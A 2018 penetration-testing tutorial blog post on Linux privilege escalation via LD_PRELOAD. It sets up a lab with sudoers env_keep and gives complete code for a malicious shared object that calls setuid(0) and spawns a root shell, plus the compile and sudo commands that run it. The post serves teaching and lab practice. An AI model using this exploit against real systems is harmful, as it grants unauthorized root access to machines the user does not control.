Linux Privilege Escalation using LD_Preload

June 14, 2018 By Raj Chandel

In this Post, we are going to discuss a new technique of privilege escalation by exploiting an environment variable "LD Preload" but to practice this you must take some help from our previous article.

Table of contents

- Introduction
- Shared Libraries
- Shared Libraries Names
- LD Preload
- Lab setup
- Privilege Escalation

Introduction

Shared Libraries

Shared libraries are libraries that are loaded by programs when they start. When a shared library is installed properly, all programs that start afterward automatically use the new shared library.

Shared Libraries Names

Every shared library has a special name called the "soname". The soname has the prefix "lib", the name of the library, the phrase `".so", followed by a period and a version number.

The dynamic linker can be run either indirectly by running some dynamically linked program or shared object. The programs **ld.so** and **ld-linux.so*** find and load the shared objects (shared libraries) needed by a program, prepare the program to run, and then run it. (read from here)

LD_Preload: It is an environment variable that lists shared libraries with functions that override the standard set, just as /etc/ld.so.preload does. These are implemented by the loader /lib/ld-linux.so

For more information read from here.

Lab setup

It is important that logged user must have some sudo rights, therefore, we have given some sudo rights such as /usr/bin/find to be executed by sudo user. But apart from that, there is some Default specification where you can set an environment variable to work as sudo.

To do this follow the below steps:

• Open /etc/sudoers file by typing visudo

• Now give some sudo rights to a user, in our case "raj" will be members of sudoers.

```
raj ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
```

• Then add the following as default specification to set the environment for LD_preload.

```
Defaults env keep += LD PRELOAD
```

```
# See the man page for details on how to write a sudoers file.
Defaults
                env reset
Defaults
                mail_badpass
                secure path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:$
Defaults
Defaults
                env_keep += LD_PRELOAD
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root
        ALL=(ALL:ALL) ALL
        ALL=(ALL:ALL) NOPASSWD: /usr/bin/find, /usr/sbin/iftop, /usr/bin/vim
```

Privilege Escalation

To exploit such type of vulnerability we need to compromise victim's machine at once then move to privilege escalation phase. Suppose you successfully login into victim's machine through ssh now for post exploitation type **sudo -l** command to detect it. And notice the highlighted environment variable will work as sudo.

Let's generate a C-program file inside /tmp directory.

```
#include <stdio.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("/bin/sh");
}
```

Then save it as shell.c inside /tmp.

```
#include <stdio.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()

{
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}
```

As discussed let's compile it to generate a shared object with .so extension likewise .dll file in the Windows operating system and hence type following:

```
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami
```

Yuppieeee!!!! We got the ROOT access.